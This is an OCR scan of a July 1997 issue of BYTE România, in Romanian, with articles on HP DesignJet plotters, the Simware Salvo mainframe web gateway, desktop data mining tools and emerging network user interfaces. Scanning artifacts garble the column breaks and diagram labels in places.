750C Plus şi respectiv 2000CP şi 2500CP. În ajunul sosirii noastre la Barce- lona, HP BCD tocmai sărbătorise livrarea celei de-a 500.000-a imprimante Design- Jet. În domeniul imprimantelor de format lat, pe care tot plotere mi-e mai ușor să le numesc, HP a vândut, în 1996, circa 235.000 de unităţi, deţinând 65% din piață. DI. Meric ne-a vorbit apoi despre tendinţele care se înregistrează pe piaţă, remarcând că se pune un accent tot mai mare pe viteza de imprimare, pe trans- miterea documentelor prin internet, pe conceptul de 'distribuie si imprima’, fotografie digitală, imprimare la cerere (tiraje reduse) și pe imprimarea digitală. Astfel, dacă piaţa de imprimare a fost evalu- ată, în 1995, la 25 de miliarde de dolari, din care doar 4 miliarde de dolari reveneau imprimării digitale, se estimează că, în anul 2001, piaţa va ajunge la 38 de miliarde de dolari din care 15 miliarde vor reveni imprimării digitale. Acest lucru se va dato- ra, în parte, faptului că preţul de imprimare va scădea cam de trei ori dar, în schimb, se va imprima de circa 10 ori mai mult. HP se adresează cu noile plotere, nu doar pieţei uzuale de CAD, care se așteaptă să crească cu un ritm de 10% anual, ci și, din ce în ce mai mult, pieţei artiştilor grafici, care se estimează că va creşte cu un ritm anual de 18%. De altfel, pentru a veni în sprijinul designerilor şi artiştilor grafici, care în mod uzual nu au un volum de imprimări care să justifice achiziţionarea unui ploter, HP va sprijini crearea unei reţele de 'furnizori de servicii de imprimare!. O vizita la HP Espanola S.A. De Romulus Maier DI. Bernard Meric general manager la Hewlett- Packard Barcelona Division Directorul departamentului de cercetare (R&D) Dewey Baker, ne-a prezentat (sau ne-a reamintit) principalele caracteristici şi avantaje oferite de imprimarea cu jet de cerneală. Reamintesc cîteva dintre perfor- manţele fascinante la care a ajuns această tehnologie. Temperatura stropului de cerneală creşte de la 209C la peste 4000C în 4 microsecunde, ceea ce corespunde unei viteze de încălzire de 100.000.000 C/secundă; pe un timbru poştal încap 300.000 de camere de încălzire a cernelii; volumul unui strop de cerneală este de 35 picolitri; capul de imprimare ejectează 8.000 de stropi de cerneală pe secundă. Şi miniaturizarea continuă, rezoluţia creşte (în prezent se lucrează la 600 dpi pe culoa- re), vitezele de lucru sînt din ce în ce mai mari, formatele pe care se imprimă sunt din IULIE 1997 BYTE România 21 Reportaj * Pe plaiuri catalane DI. Dewey Baker RED Manager Hewlett-Packard Barcelona Division ce în ce mai late, preţul imprimării este în continuă scădere. Şi, pentru a-şi menţine poziţia de lider pe piaţă şi a-şi păstra avan- sul tehnologic, HP investeşte în continuare masiv în cercetare şi acordă importanță maximă tuturor detaliilor, pornind de la capetele de imprimare şi pînă la cerneală şi calitatea hirtiei. Michael Thompson, Current Product Manager HP BCD, ne-a făcut o prezentare a noilor modele HP Designjet 2500CP şi 2000CP, iar Pedro Padilla, LFP Program Manager (LFP — Large Format Printer) a făcut o demonstraţie practică cu modelul 2500CP. Să ne concentrăm puţin atenția asupra vedetelor. HP DesignJet 2500CP si 2000CP au o rezolutie de 600 dpi și dispun de algoritmi performanti care permit obtinerea unor imagini de calitate superioară (gradient de culoare, granularitate, umplere, etc.). Ploterele pot lucra cu 2 seturi de cerne- luri, unul destinat posterelor/imaginilor care vor fi expuse în interior şi un al doilea sistem rezistent la ultraviolete pentru posterele menite a fi expuse în exteriorul clădirilor, caz în care se recomandă și la- minarea suportului imprimat (pentru rezis- tență la umiditate). Trecerea de la un sis- tem de cerneluri la celălalt se poate face în doar cîteva minute, un set avînd 3 compo- nente: tancurile (rezervoarele) de cerneală, capetele de imprimare și dispozitivul de curățire a capului de imprimare. Capetele 22 BYTE Romania LULIE 1997 de imprimare detectează automat momen- tul în care cerneala este insuficientă, pen- tru a imprima 0 imagine întreagă, se poziți- onează deasupra tancurilor de cerneală de unde se alimentează automat (nu există conducte de cerneală mobile), iar după ce termină o lucrare sunt parcate automat dea- supra dispozitivelor de curăţire, care curăță şi previn uscarea cernelii și înfundarea duzelor de imprimare. Lângă capetele de imprimare este plasat un mic scaner care, prin scanarea unei fâ- şii imprimate de probă, permite, pe de o parte, o calibrare automată a culorilor - putându-se selecta unul dintre cele 3 stan- darde industriale de imprimare mai răspîn- dite: SWOP (Standard Web Offset Print- ing), Eurostandard si Toyo - si, pe de alta parte, detectarea unor eventuale duze infundate și activarea unor duze de rezervă din capul de imprimare! Aceste modele dispun și de facilități de încuibare pentru utilizarea optimă a supor- tului de imprimare - în cazul în care imagi- nile sunt mai mici decât lățimea suportu- lui ele sunt salvate pe discul hard de 2GB cu care este echipat ploterul şi se calculează amplasarea lor optimă astfel încât să fie uti- lizat minimum de suport. Modelul 2500CP are integrată o soluție RIP (Raster Image Processor) cu Adobe Le- vel 2 Postscript, drivere pentru Mac, Win- dows 3.1, Windows 95 si Windows NT si ocartela HP JetDirect pentru conectivitate Ethernet, 20 MB RAM (extensibili la 64 MB RAM) plus 4 MB RAM memorie de imprimare. Modelul 2000CP este gîndit să func- tioneze cu RIP extern, eventual de la un alt producător, nu are disc hard şi este echipat doar cu 8 MB RAM, plus 4 MB RAM memorie de imprimare. Tot manage- mentul de culoare este asigurat de RIP-ul extern. Ambele modele dispun de 3 moduri de imprimare: rapid, normal și extra, ultimul mod de lucru permițând obţinerea de imagini de calitate fotografică. În funcţie de modul de lucru selectat, imprimarea unui format AO durează între 8 minute si 30 de minute. De calitatea imaginilor şi performanțele modelului 2500CP aveam să ne convin- gem, atât privind posterele cu care era ornată sala de conferințe, cât și în cursul demonstraţiei practice care a urmat. După demonstraţii, am avut ocazia să facem o scurtă vizită în fabrică, care semăna de par- că era trasă la indigo cu fabricile HP vizitate în SUA, dar nu din lipsă de imaginaţie, ci datorită eficienței şi productivității verifi- cate în timp şi multiplicate, bănui, în toate unitățile de producție HP. Impresionant! Apoi, înapoi, aşteptând valul doi... E Domnul Romulus Maier este director general la Computer Press Agora s.r.]. Poate fi contac- tat prin e-mail la adresa:rmaier@agora.ro. Linia de productie HP DesignJet. d Baze de date Salvo de la Simware vă permite să folosiți standarde Web pentru accesul la baze de date de pe sisteme mainframe. De Alexa Bielefeld, Rick Martin si Brian Wachter Utilizarea Web cu baze de date vechi ana nu de mult, conectarea la un sistem mare de la desktop a insemnat emulare de terminal si o infrastructura dedicata de rețea, cu toate limitările inerente. Puteţi obţine posibilitatea de conectare la apli- caţiile vechi care lucrau în mod caracter şi la datele aplicaţiei de la un ecran mod ca- racter. Salvo de la Simware oferă mai mult decât posibilitatea de preluare a datelor pentru terminal (screen-scraping). Salvo oferă facilități pentru aplicaţiile vechi fără să fie necesare modificări de partea mainframe. Mediul de dezvoltare Salvo utilizează obiecte de informaţii care separă pre- zentarea informaţiei de locul si logica infor- mației prezentate. Componente Salvo Partea esenţială din Salvo este o compo- nentă server executabilă pe Microsoft Win- dows NT Server 3.51 sau o versiune mai mare. Cu ajutorul unei GUI proiectantii creează reguli pentru informații, care per- mit unui utilizator accesul la sursele de date şi lucrul cu informaţiile aflate acolo. Re- gulile permit crearea de obiecte de infor- maţii care pot fi incluse în aplicații. Deoarece mediul de dezvoltare Salvo foloseşte HTML, toate sarcinile de pro- gramare a obiectelor de informaţii pot fi făcute prin intermediul unui navigator Web. Obiectele rezultate prezintă infor- maţiile pentru utilizatori printr-un con- tainer conform HTTP (browser Web) sau ODBC. Simware lucrează la oferirea de legături la Salvo pentru tehnologiile COR- BA (Common Object Request Broker Architecture) și COM (Component Object Model). Aplicațiile client pot fi realizate cu orice unelte care asigură suport ODBC, ca de exemplu PowerBuilder, VisualBasic și VBA (Visual Basic for Applications). Sursele de date care pot fi unite în apli- caţii dezvoltate cu Salvo includ aplicaţiile pentru terminale 3270, 5250, VT 100 şi VT220 si sursele de date ODBC. Salvo 3.5 este livrat cu drivere pentru surse ODBC Informix, Ingres, Microsoft SQL Server, Oracle si Sybase. Driverele pentru pro- dusele altor furnizori pot fi obtinute de la acestia. Pentru o baza de date relationala numele sursei de date si un sir de conectare sunt specificate in interfata Salvo. Pentru apli- Lucrul cu date După ce aţi definit „ce?“ (sursa de date) şi „cine?“ (utilizatorul), trebuie să construiți „cum?“ (regulile). Definiţi reguli pentru informații pentru a stabili accesul la date gi pentru a genera obiectele de informaţii. Procesarea la Salvo Clienţi : Constructor informații (O Clientul lansează cerere HTTP sau ODBC. €) Serverul Salvo are reguli prestabilite cu instrucțiuni care prelucrează cererea. (9 Regulile de surse de date aleg sursa de date ţintă. Generatoare de informații colectează și formatează datele. © Constructoarele de informații „ Generaor de informații "Surse de date tints manipuleaza datele. O inerpretatoare de context trimit rezultatele la alte reguli, filtrând eventual anumite rezultate. (9 Rezultatele sunt trimise înapoi la client ca HTTP sau ODBC. Datele din baze de date vechi care lucrau cu terminale pot fi transformate cu reguli date de utilizatori în pagini HTML. caţiile pentru terminale se specifică de exemplu o adresă IP şi un număr de port pentru serverul TN3270, un tip de emula- re, o dimensiune ecran şi o pagină de cod. Suportul pentru code-page oferă facilități de utilizare de limbi diferite la aplicaţiile mainframe. Nu trebuie să aveţi ICP/IP instalat pe mainframe pentru a beneficia de facilităţile Salvo: acesta lucrează cu gate- way SNA la TCP/IP ca Microsoft SNA Ser- ver. Toţi utilizatorii aplicaţiei finalizate au nevoie de identificator utilizator și parolă. Se poate defini și acces pentru grup. Există trei genuri de reguli: generatoare de informaţii, constructoare de informații şi interpretatoare de context. O generatoare de informaţii este necesară pentru fiecare sursă de date accesată de apli- catie. Poate fi definită ca necesară în editor, dând posibilitate aplicaţiei să urmărească sursele de date atunci când migrează de pe o platformă pe alta. Generatoarele de infor- maţii pot lucra şi independent de sursele de date pentru a executa un algoritm, citi din- tr-un fişier sau reîntoarce text static. Constructoarele de informaţii se ocupă IULIE 1997 BYTE România 23 Fundamente Baze de date cu procesarea instrucțiunilor. Ele lucrează cu tabelele de obiecte de informaţii create de generatoarele de informaţii. Câteva exemple de operaţii care pot fi executate cu o tabelă sunt: * legare (join or union) * sortarea şi filtrarea datelor * calcule aritmetice * ştergerea de coloane sau tabele Interpretatoarea de context redirectează o cerere către regula corespunzătoare infor- maţiei, pe baza contextului pentru cererea respectivă. Contextul se poate referi la uti- lizator sau grupul care a făcut generarea, sau data şi timpul cererii. Utilizatorii văd rezultatele configurate ca să includă doar datele de la sistemul gazdă sau ODBC def- inite de proiectant. Forța modelului de obiecte de informaţii constă în modularitatea lui. Regulile pen- tru informaţii pot fi stabilite individual şi testate, ca apoi să fie incluse în aplicaţia completă. Regulile pentru informaţii sunt memorate într-un depozitar pentru obiectele de informaţii, de unde pot fi folosite şi refolosite. Pentru clienți Web, obiectele de infor- maţii Salvo sunt afişate cu un template implicit HTML. Regulile de informaţii pot invoca un template specific sau un script de la server. Aceste acțiuni specifice sunt spe- cificate sau modificate atunci când creaţi regula pentru informaţii corespunzătoare obiectului. Fişierele script sunt scrise acum cu Rexx, totuși Simware lucrează la imple- mentari VBScript si Jscript. „ Un alt punct forte la Salvo este că oferă proiectantilor control asupra locului în care se află un script. Pentru securitate toate scripturile care returnează date log-on despre conectare se pot masca pentru client. Dacă se doreşte mutarea sarcinilor de pre- lucrare la client, scripturile care generează elemente GUI complexe care potsă fie puse în template-ul care se execută la client. Scripturile de partea server pot fi scrise sau cu un editor integrat sau cu unul extern şi apoi vor fi copiate în Salvo. Se oferă şi mostre de cod pentru a ușura crearea de scripturi. Într-un template, facilităţile stan- dard HTML ca şi casete de selecție, butoane radio şi câmpuri pentru introducere de text pot fi folosite pentru a genera ieşire pe 24 BYTE România. |ULIE 1997 care serverul Salvo trimite la regula de infor- maţii corespunzătoare. În plus, orice lim- baj script suportat de navigatorul client, ca JavaScript, Jscript şi VBScript poate fi uti- lizat de template pentru a analiza și modi- fica conţinutul sau schimba intrarea sau ieşirea. Aceste instrucţiuni sunt transmise printr-un şir CGI executat ca și cerere ser- ver standard, ca şi un URL introdus într-un navigator. De exemplu, Scam a converti un ecran 3270 în HTML fără a se apela la o regulă de informaţii, metoda simplă de preluare este plasarea unui şir de date CGI între se modifică în continuu din partea utiliza- torilor. Dacă scopul este, de exemplu să oferim unui utilizator la distanță doar anumite ecrane ale programului de regăsire date, vechiul model impunea proiectanţilor să modifice aplicaţia veche din COBOL (sau în oricare limbaj a fost făcută). Salvo schim- bă acest model prin folosirea HTML, script pe server şi reguli pentru informaţie. Be- neficiind de avantajele oferite de posibili- tatea Salvo de transformare în pagini HTML a ecranelor de terminal, progra- matorul poate utiliza reguli de informaţii interpretabile în context pentru a controla
ACTION="salvocgi.exe” INPUT TYPE="hidden" NAME="ScriptName" VALUE="_btInit"> — Ci. Grivitei 355-357, Sect. 1, Bucuresti, Tel./Fax: 223.1443 Sediul Central Pw | Bd. Unirii 15, Sect.5, Bucuresti, Tel.: 336.2595, Fax.:336.7568 Centrul ae Vanzari hal Cl. Dorobantilor 152, Sect.1 „Bucureşti, Tel./Fax: 230.7737, 230.4032 oo TE x 42 BYTE Romania “IULIE 1997 ILLUSTRATIA: MARK STEARNEY © 1997 INTERNATIONAL Data mining dela birou Uneltele intuitive de minerit în date ajută managerii de nivel mediu în luarea unor decizii mai bune. De Peter Hofland și Jim Utsler a rezultat al nivelării din cadrul companiilor europene, a apărut un cerc nou de angajaţi care contribuie la luarea deciziilor. Cu toate că s-ar putea să nu ia ei decizia finală, acești oameni au responsabilitatea recomandării unor soluţii pe baza cunoștințelor despre afacerile firmei. Această respon- sabilitate mărită duce la creşterea cererii din partea profesioniştilor de unelte data mining, care le permit să recomande acţiuni pentru manageri mai rapid și în cu- noştință de cauză. Deoarece aceşti profesionişti nu sunt specialişti în analiza datelor si nici statisticieni formaţi ei au nevoie de unelte uşor utiliza- bile care relevă în mod fiabil relaţiile complexe în bazele de date cu beneficiari, produse şi analize de piaţă. „Din cauza creşterii explozive a puterii sis- temelor PC desktop, baze de date care au frecvent peste un milion de înregistrări sunt analizate cu un PC standard Windows NT“, spune Eric Tocatlian, director de marke- ting la Isoft, un producător de software pentru data mining. Până nu de mult, majori- tatea organizaţiilor mari aveau statisticieni angajaţi pentru analiza datelor vitale referi- toare la activitate. Totuși acest lucru se schimbă pe măsură ce managerii de marketing și pro- duse au nevoie să identifice configuraţiile şi evoluţiile be- neficiarilor, să găsească gru- pări şi lipsuri în date, să creeze profiluri şi să detecteze ano- malii fără să mai aștepte ca sta- tisticianul să aibă timp disponi- bil. Şi de foarte multe ori, raportările statisticianului sunt mormane de informaţii depășite şi povești despre ce reprezintă aceste statis- tici pentru organizaţie.., Într-o lume perfectă“, afirmă preşedintele institutului SAS Jim Goodnight „la companii, cei care iau decizii ar trebui să lucreze cu experţi în evaluări cantitative. Dar puţine com- panii îşi pot permite acest lucru“. Noile aplicaţii data mining pentru desktop oferă unelte de ana- liză puternice şi ușor de utilizat pentru profesioniștii din mediul de afaceri care fac marketing, finanţe sau planificare strategică. O trăsă- tură comună a acestor unelte este că ajută utilizatorii să se concen- treze la problemele de afaceri și nu la cele spinoase ale analizei datelor. Uneltele desktop pentru data mining prezintă multe dintre ace- leaşi tehnologii inteligente de recunoaştere de şabloane ca și unel- tele sofisticate din care provin: rețele neuronale, arbori de decizie, inducţie de reguli şi logică fuzzy. (Pentru mai mul- te informaţii privind aceste tehnici de analiză vedeți: End- less Search, BYTE, nov.1995). Interfete intuitive Elementul cheie de la majori- tatea acestor programe este modul vizual in care prezinta datele. De exemplu, Spotfire 1.0 de la IVEE Development System, un sistem data mining pentru Windows 95, NT şi Unix are câteva cursoare uti- lizabile câte una pentru fiecare variabilă statistică. Aceste cur- soare pot fi folosite pentru a modifica reprezentarea date- lor. Este astfel posibil să se par- curgă în mod interactiv vari- abilele și să se detecteze confi- guratiile interesante. Este de asemenea posibilă afişarea da- telor împreună cu informaţii în fundal, cum ar fi o hartă pentru a uşura detectarea de configurații (pattern). Spre deosebire de mineri- tul de date tipic algoritmic, bazat pe tehnici AL (inteligență artificială) menţionate mai sus, programele data mining au o inter- față vizuală pentru o utilizare ușoară. Au totuşi limitări, în special atunci când sunt comparate cu flexibilitatea reţelelor neuronale. Utilizatorii se pot baza doar pe propriile cunoştinţe despre setul dat de date. Pe de altă parte, aşa cum arată Christopher Alberg de la IVEE Development, majoritatea profesioniştilor cunosc pro- priul domeniu de activitate mai bine ca o reţea neuronală“. IULIE 1997 BYTE România 43 Internaţional Data Mining de la birou Într-adevăr,antrenarea unei reţele neu- ronale depinde frecvent de persoana care antrenează rețeaua. Persoana poate bloca o organizaţie într-o viziune incompletă şi subiectivă asupra datelor. Acesta este moti- vul pentru care suporterii mineritului vizual de date afirmă că dacă se lucrează cu atenție şi cu experienţa și cunoştinţele pe care managerii o aduc la rezolvarea sarcinilor, este posibilă transformarea rapidă a datelor vizualizate într-o strategie efectivă pentru activitate. Unii proiectanți adaugă tehnici de vizu- alizare mai performante la rețelele neu- ronale și la sistemele bazate pe arbori de decizie. Cognos, un furnizor de vârf de unelte OLAP (on-line analytical processing) a cumpărat recent Right Information Sys- tems, un producător de soft bazat pe rețele neuronale pentru modelare și elaborare de previziuni pentru afaceri. Companiile îmbină acum ambele abordări pentru a face ca softul lor să fie mai uşor de utilizat. Un alt exemplu este proiectul de dez- voltare cu numele de cod DMINE de la SAS Institute, o combinaţie de reţele neuronale, arbori de decizie şi tehnici de vizualizare des- tinat modelării predictive a domeniilor afa- cerii. Se aşteaptă ca DMINE să apară în această toamnă. „Azi“, spune Phil Winters, vicepreşedintele pentru marketing de la SAS S pre deosebire de programele de analize statistice standard, mineritul vizual per- mite utilizatorilor să exploreze interactiv datele folosind grafice, diagrame sau interfeţe utile care pot utiliza culori, filtre, animaţie și diferite nivele de detalii. Spotfire 1.0 de la IVEE, de exemplu, poate reprezenta distribuţia datelor prin 2D scatter plot. Împreună cu repre- zentarea se creează câteva cursoare utiliz- abile la manipularea reprezentării datelor. Ecranul Spotfire arată sus, la dreapta, o bază de date de clienţi ai unui magazin. Fiecare marcaj colorat reprezintă un client cu culoare diferită pentru sexe, cu dimensi- unea marcajului în funcţie de banii cheltuiţi pe haine. Puteţi selecta detaliile unui client prin selectarea cu maus a marcajului. Pen- tru a filtra doar clienţii care au cheltuit peste 500$ de exemplu, deplasaţi cursorul cores- punzător din dreapta. Ecranul de jos afișează această selecţie. Simultan, ecranul mai arată că majoritatea acestor clienţi au peste 45 de ani (axa x), două treimi sunt femei (roșu) și majoritatea au cheltuit peste 2500$ (axa y). Este atât de ușor să se identifice clar segmentul de piaţi din baza de date cu clienți. 44 BYTE România LULIE 1997 Data Mining la desktop La firmele mici și medii, procesul de minerit în date începe de obi- cei cu o ipoteză de afacere for- mulată de, și bazată pe înțelegerea afacerii de către utilizator. Utilizind unelte data mining pe desktop utilizatorul constru- iește un model, finisează ipo- tezele și execută analiza. Acest proces poate fi repetat. ipotezelor După validarea ipo- tezei finale, utiliza- torul ia decizia. Procesul de luare a deciziei ține seama de datele pertinente și de cunoștințele avute de manager despre afacere Institute Europe, „cei care iau deciziile în afa- ceri pierd mult timp așteptând după inte- rogări de baze de date. Noi propunem o me- todă mai proactivă de modelare predictivă“. Abordare în cinci pași În efortul de a face data mining accesibil pen- tru o audienţă mai largă și de a ajuta pe cei care iau decizii să ruleze sisteme data min- ing pe PC, SAS Institute promovează o metodologie care include cinci pași de bază: eşantionare, explorare, manipulare, mode- lare și evaluare. Această metodologie su- gerează eşantionarea unor porţiuni mai reduse din baza de date, şi nu a întregului set de date pentru reducerea timpului de proce- sare. Vizualizarea datelor ajută utilizatorul să găsească subseturile adecvate pentru a le eşantiona. Dacă datele sunt de complexitate prea mare pentru a fi reprezentate grafic, atunci este nevoie de metode statistice tradiționale ca analiza factorilor, grupurilor de valori şi corespondenţei între acestea. Pe baza unei asemenea explorări, un uti- lizator poate curati și actualiza partea selec- tată a datelor și apoi executa procesul de mining care calculează criteriile cele mai per- tinente care aparțin unui set de date dat (modelare). Înr-o aplicaţie de marketing direct aceste criterii pot fi separate (de exem- plu dupa vârstă, sex şi venit) între grupurile de beneficiari. În faza finală a procesului, utilizatorul evaluează aceste modele şi verifică valoarea lor pentru problema de afaceri reală. Isoft a lansat anul trecut o versiune redusă a produsului propriu, numit Alice. Alice utilizează o gamă largă de algoritmi statistici pentru construirea de modele de previziuni. Programul reprezintă rezultatele modelului cu arbori de decizie, oferind uti- lizatorului posibilitatea de a sesiza imediat corelaţiile de bază dintre date şi permițând verificarea ușoară a ipotezelor. Partea care face ca arborii de decizie să fie atât de atrăgători la programele de data . Data Mining de la birou Internaţional mining pentru desktop, este posibilitatea de a reprezenta volume mari de date în mod eficient. Cu un arbore de decizie, utilizatorul poate forța separări, contopi noduri, reduce sau extinde ramuri și determina numărul de parametrii dintr-un arbore. În plus, utiliza- - torul poate selecta uşor acele ramuri care sunt interesante pentru el. Documente explicabile Sistemele data mining pot detecta modul in care unele obiecte sau variabile afecteaza altele, localiza schimbările în timp sau iden- tifica tendinţe în bazele de date cu benefi- ciari. Totuși, modul în care exprimă aceste informaţii este adesea o enigmă și este prea complicat pentru a fi înţeles de unii mana- geri. „Acesta nu este adecvat utilizatorilor din lumea afacerilor“, spune Dr Kamran Parsaye, CEO la Information Discovery Sys- tems. Sistemele OLAP interactive permit de exemplu utilizatorilor să mărească detaliile. Dar facilităţile de zoom prezintă infor- maţii în tabele care pot să nu fie clare pen- tru cei care nu sunt experți. „Avem nevoie de un limbaj care ajută echipamentele să-şi exprime cunoştinţele pentru beneficiul direct al utilizatorilor din lumea afacerilor“, spune Parsaye. Informaţiile de ieşire din sistemele data mining ar trebui exprimate într-o formă denumită documente explicabile de către Parsaye. Documentele explicabile generează automat texte cu hyperlink, grafuri si rezu- mate de date pentru a exprima influente, INFORMATII UTILE http: ‘Ihwww. sas. com/ ioe î Information EN pa 1987 Discovery Systems eos Hermosa Beach, CA ai coy Soe -310-937-3600 ere ie aes „Tel Aviv, Israel 006] a +972-3-5631919 — http:/Iwww of :+972-3-5611945 ae com afinități, comparații, variaţii şi tendinţe iden- tificate în date. Documentele explicabile, în forma implementată în sistemul Intra/Knowl- edge realizat de firmă explică rezultatele procesului de data mining în fraze simple ca: „Vânzările au crescut în ultimul trimes- tru deoarece vânzările de suc de portocale în Arizona au fost peste aşteptări datorită reducerilor de preţ“. Intra/Knowledge oferă rezultate genera- te automat dintr-o bază de date si care sunt oferite pe un intranet de firmă. La o insti- tuţie financiară, de exemplu, programul ar putea citi datele brute şi documentele gene- rate în fiecare zi, ar putea identifica tendinţe esenţiale și apoi converti analiza în text în Engleză ușor de înţeles şi grafice 3D. O abordare alternativă, inducția de reguli, lucrează cu seturi de condiţii care nu sunt ierarhice, spre deosebire de natura strict ierarhică a arborilor de decizie. Spre deosebire de rețelele neuronale, inducția de reguli permite, de exemplu, determinarea atât a regulii de probabilitate, cât şi a erorii probabile a regulii. Deţinirea regulilor Cu toate că nu oferă rapoarte în format gra- fic, WizWhy, o unealtă de minerit în date cu inducție de reguli dezvoltată de WizSoft pentru Win 95 şi NT oferă utilizatorilor posibilitatea să configureze analiza prin definirea unei serii de parametrii. Aceşti parametrii includ probabilitățile minime pentru reguli şi numărul minim de cazuri pentru fiecare regulă. Acest lucru este comparabil cu utilizarea arborilor decizio- nali, care vă permit să limitați interogările prin finisarea arborilor și numărului de ramuri. Aceste reguli cantitative de inducţie de reguli au fost frecvent utilizate de specialişti din cercetarea medicală, pentru a descoperi de exemplu şabloane între simptome şi boli. Dar şi WizWhy şi utilizatori cu mai puțină experienţă pot analiza baze de date cu bene- ficiari şi verifica deviații, frecvenţa deviaţii- lor şi nivelul de probabilitate a regulilor detectate fără să fie nevoiţi să înțeleagă algo- ritmul complex care stă la bază. Cu toate că generaţia apărută de produse desktop pentru data mining nu poate să înlocuiască un depozit de date la o între- . prindere mare, ea îmbunătăţeşte eficiența pentru mulți manageri care iau decizii: $i aduc data mining la organizaţiile medii şi mici care nu-şi putea permite un specialist pentru analiza datelor Peter Hofland si Jim Utsler sunt ziarişti şi scriu despre tehnologie la The Visual Consultancy Corporation din Amsterdam. Îi puteţi găsi la 100544.307 Qcompuserve.com [din BYTE, o publicaţie McGraw-Hill, Inc. Adaptare - Darvas Attila] dumneavoastră! Mai ieftin ca fax-ul, Mai rapid ca DHL-ul! Cele mai moderne, ieftine şi comode soluții de comunicaţii electronice şi conectare la Internet, de acum și la dispoziția EUnet= PERIE SE Sa a ERIE AERO TINE a Connecting Europe since 1. E DEO EREZIE RE SSE DE Internet TCP/IP telnet ftp gopher www EUnet Romania SRL Modem: 410.1162, 8N1, Username: info, login: info, Tel: 4100100, Fax:4103883, E-Mail: info@eunet.ro Bd. Unirii 20, Bl. 5C, Et. 2, Ap. 14, Sect. 4, București IULIE 1997 BYTE România 45 Adio GUI, alut NUI Interfeţele utilizator orientate rețea își fac apariţia la calculatoare PC şi cele de rețea. De Tom R. Halfhill aca aveti un calculator care are ecran si este legat in rețea atunci trebuie să citiți acest articol. De ce? Sunt în curs de apariţie peste o duzină de interfețe utiliza- tor orientate rețea pentru PC și NC şi în acest an vor fi oferite de firme ca Apple, IBM, Lotus, Microsoft, Netscape, Ora- cle, Sun și alții. Este cea mai mare revoluţie la interfețele grafice GUI din 1984 pana acum. $i are loc aşa de repede, că nici cuvin- tele de desemnare a lor nu pot ţine pasul. Nimeni nu este de acord cu denumirile: NC GUI (pentru interfeţe grafice utilizator orientate rețea), WUI (pentru interfață utilizator Web), suprafață de lucru (desktop) virtuală, Activ desktop sau Webtop? Pentru a risipi confuziile BYTE sugerează NUI (pronunţat niuai) ca prescurtare pentru noua interfață utilizator. NUI oferă o inter- față consistentă, în genul browser, pentru a naviga în sistemele de fişiere locale sau aflate la distanță. NUI permite afişarea pe desk- top a unor applet-uri Java şi al altor conţinuturi dinamice Web fără un browser. De asemenea, actualizează dinamic conținutul, prin tehnologii de emisie Webcasting 'push' și 'pull'. Şi va estom- pa distincţiile din ce în ce mai puţin relevante între aplicații native / multiplatformă şi locale / distante. Majoritatea interfeţelor NUI vor oferi cel puţin o opţiune de memorare sau oglindire a stării locale de la client pe un server, indiferent dacă clientul este un NC fără stare sau un PC. Prin mutarea complexităţii de la clienţi la serverele administrate în mod profesional, organizaţiile pot reduce costurile de administrare. Utilizatorii, la rândul lor au libertatea accesului de la distanță la aplicaţiile lor şi un spaţiu de lucru personal de la orice calculator din lume, conectat în reţea. În timp ce majoritatea proiectanţilor își fac interfețele NUI pen- tru sisteme NC ieftine, transformările ating și calculatoarele PC. Microsoft adaugă o posibilitate de navigare în stil browser pen- tru fişiere la Menphis (adică Windows 97) şi Windows NT şi 46 BYTE România- IULIE 1997 Asamblarea NUI pentru utilizatorul de reţea Acest ecran compus arată unele facilităţi de la mai multe NUI. Intefeţele NUI îmbunătățesc modul în care utilizatorii interacționează cu calculatoare și reţele. În loc să lucreze cu reprezentarea directă a echipamentelor și cataloagelor, utilizatorii navighează resursele locale și distante cu unelte de tip navigator și cu hyperlink. NUI va permite pentru departamentele informatice o ușurare a configurării și administrării sistemelor desktop din firmă. Deoarece NUI permite stocarea stării desktop la server, utilizatorii se pot conecta de la orice echipament în mod confortabil. Icon-uri cu selecție simplă pe bara task permit comutarea instantanee între aplicații. Administratorii sau utilizato- rii pot configura bara task. Unele NUI sunt ușor de con- figurat deoarece elementele lor de ecran sunt scrise în HTML, JavaScript sau Java. () ic) | i | | | | | | i | Sistemul întreprinderii O bandă glisantă afișează oo : Aplicatiile Windows, Mac si informatii actualizate dinamic de i Unix se execută nativ pe Age as Jee > la bursa sau agentiile de presa. = sistemul local sau pe O fereastră n wees Pe Naeem lie pager afiseaza — es cole peau ore mesaje scurte. Emulatoarele de termi- nal permit lucrul cu apli- catii vechi pastrate pe serverul intreprinderii. Utilizatorii văd o imagine con- sistentă a resurselor locale și distante existente pe discuri, servere LAN si in Inernet. ers m CA m dle i | ~ pe ban Pa a Ne cio” Sake tuk Apleturi si aplicatiile Java se executa direct L zale RNR WKS pe desktop, fara = a a - eae ep browser. f wakes age ped bee Rg ne Per Te ie Sal on | nnd. a ONU Fiu Ilas i m Java și un compila- i d — : Pa i tor JIT sunt compo- . ks ar a wee et ae ff a ai +] LT Că True | pentru SO nativ. i Utilizatorii pot cauta in direc rețea, în intranet și Internet adrese i e-mail, numere de telefon și adrese | poștale. Servere Memorii | internet externe JULIE 1997 BYTE Romania 47 Cover Story Adio GUI, salut NUI ” include Internet Explorer 4.0 in structura internă Windows. IBM a adăugat deja unele facilităţi de reţea la OS/2 Warp 4, cum este Java Virtual Machine (VM). IBM dezvoltă de asemenea un NUI numit Bluebird care va oferi un compromis între clienţii supli NC şi clienţii graşi PC. Apple introduce facilități de acces rapid la Internet in Mac OS 8 (cu- noscut ca Tempo) si Rapsody precum gi posi- bilitati de publicare pe Web, alaturi de alte facilitati. Constellation de la Netscape este un NUI care se suprapune peste interfata GUI existenta la PC-urile de azi. Pentru NC-uri exista si mai multe NUI in curs de aparitie. NC Desktop de la Oracle rulează pe NC-uri conforme cu platforma de referință Oracle. IBM are un NUI pentru propriul Network Station construit pe plat- formă PowerPC. HotJava Views se execută pe Java Station realizat cu SPARC de la Sun sau pe orice alt echipament care are Java VM, fiind scrisă în Java. Acelaşi lucru este valabil si pentru SoftNC de la TriTiel, Kona Desk- top de la Lotus Developement, Tarantella WebTop de la SCO (Santa Cruz Opera- tion) si VCOS (Virtual Computer OS) de la Ulysses Telemedia. Netscape a scris Con- stellation in HTML, Java si JavaScript, ast- fel că şi acesta se execută pe platforme mul- tiple. Scopul principal al tuturor acestor inter- fețe restructurate GUIşi NUL este asigurarea pentru utilizatorii de la firme a accesului direct şi rapid la LAN şi Internet. Unii uti- lizatori mobili,cei care lucrează de la distanță sau cei cu linii comutate lente vor beneficia şi ei. Totuși, trec de scopul prezentării inter- fețele NUI pentru echipamente de rețea de larg consum, cum sunt cutiile WebTV şi Sa- E] Se Bes) nye) 8c Asta O [Alei 23 cai 